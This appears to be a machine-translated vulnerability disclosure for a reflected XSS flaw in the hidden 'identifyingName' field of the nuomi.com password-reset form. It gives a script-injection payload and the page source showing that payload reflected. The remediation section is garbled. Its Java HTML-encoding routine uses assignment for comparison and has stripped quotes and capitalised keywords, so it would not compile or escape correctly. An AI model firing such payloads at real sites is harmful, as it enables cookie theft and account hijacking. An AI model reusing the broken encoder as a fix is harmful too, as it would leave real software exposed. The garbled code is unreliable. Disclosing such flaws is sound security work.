Brief description: There is a reflection-type XSS vulnerability in Glutinous Rice. This vulnerability is caused by the absence of verification of hidden fields in the form. Attackers exploit this vulnerability to steal user cookies.
Detailed Description: User Resetting Password normal page:
The hidden field identifyingName of the form resetForm has the XSS reflection vulnerability.
<Form id = "resetForm" action = "/user/passwordRetrieve/getRetrieve" method = "post">
<Div class = "field email">
<Label for = "email"> Email/Mobile Phone: </label>
<Div class = "input-area">
<P>
<Input type = "text" class = "input-txt" id = "email" name = "emobile" value = ""/>
</P>
<P class = "tip"> Email address or mobile phone number used for Logon </p>
</Div>
<Span class = "msg" id = "msgEmail"> </span>
</Div>
<Div class = "field icode">
<Label for = "icode"> Verification Code: </label>
<Div class = "input-area">
<Input type = "hidden" name = "identifyingName" value = "vphtg" id = "identifyingCodeValue" tabindex = "3"/>
<P>
<Input type = "text" class = "input-txt" id = "icode" name = "code"/>
<A href = "javascript:;" onclick = "var rdm = (+ Math. random ()). replace (.,); $ (# identifyingCodeImg ). attr (src, http://www.nuomi.com/identifyingCode/ + rdm); $ (# identifyingCodeValue ). val (rdm); "> can't see clearly? Change one </a>
</P>
</Div>
<Span class = "msg" id = "msgICode"> </span>
</Div>
<Div class = "reset-btn">
<Input type = "submit" class = "input-btn big-blue" value = "Reset Password"/>
</Div>
</Form>
Vulnerability proof: Add identifyingName
"/> <Script> alert (XSS) </script>:
Page source code:
<Form id = "resetForm" action = "/user/passwordRetrieve/getRetrieve" method = "post">
<Div class = "field email">
<Label for = "email"> Email/Mobile Phone: </label>
<Div class = "input-area">
<P>
<Input type = "text" class = "input-txt" id = "email" name = "emobile" value = ""/>
</P>
<P class = "tip"> Email address or mobile phone number used for Logon </p>
</Div>
<Span class = "msg" id = "msgEmail"> <em class = "error"> enter an Email or mobile phone number </em> </span>
</Div>
<Div class = "field icode">
<Label for = "icode"> Verification Code: </label>
<Div class = "input-area">
<Input type = "hidden" name = "identifyingName" value = ""/> <script> alert (XSS) </script> "id =" identifyingCodeValue "tabindex =" 3 "/>
<P>
<Input type = "text" class = "input-txt" id = "icode" name = "code"/>
<script> alert (XSS) </script> "id =" identifyingCodeImg "onclick =" var rdm = (+ Math. random ()). replace (.,); $ (# identifyingCodeImg ). attr (src, http://www.nuomi.com/identifyingCode/ + rdm); $ (# identifyingCodeValue ). val (rdm); "/>
<A href = "javascript:;" onclick = "var rdm = (+ Math. random ()). replace (.,); $ (# identifyingCodeImg ). attr (src, http://www.nuomi.com/identifyingCode/ + rdm); $ (# identifyingCodeValue ). val (rdm); "> can't see clearly? Change one </a>
</P>
</Div>
<Span class = "msg" id = "msgICode"> </span>
</Div>
<Div class = "reset-btn">
<Input type = "submit" class = "input-btn big-blue" value = "Reset Password"/>
</Div>
</Form>
Solution: filter or escape input, especially
"<> % () # & Other symbols and Their deformation. For example:
<,> Can be escaped
& Lt, & gt;
(,) Can be escaped
& #40, & #41;
#, & Can be escaped
& #35, & #38
In ASP/ASP.net, you can use:
Server. HTMLEncode (strHTML String)
In Java, you can use:
Public static String HTMLEncode (String aTagFragment)
{
Final StringBuffer result = new StringBuffer ();
Final StringCharacterIterator iterator = new StringCharacterIterator (aTagFragment );
Char character = iterator. current ();
While (character! = StringCharacterIterator. DONE ){
If (character = <){
Result. append ("& lt ;");
}
Else if (character ==> ){
Result. append ("& gt ;");
}
Else if (character = "){
Result. append ("& quot ;");
}
Else if (character = "){
Result. append ("& #039 ;");
}
Else if (character == \){
Result. append ("& #092 ;");
}
Else if (character == &){
Result. append ("& amp ;");
}
Else {
// If the character is not a special character, add it to the result.
Result. append (character );
}
Character = iterator. next ();
}
Return result. toString ();
}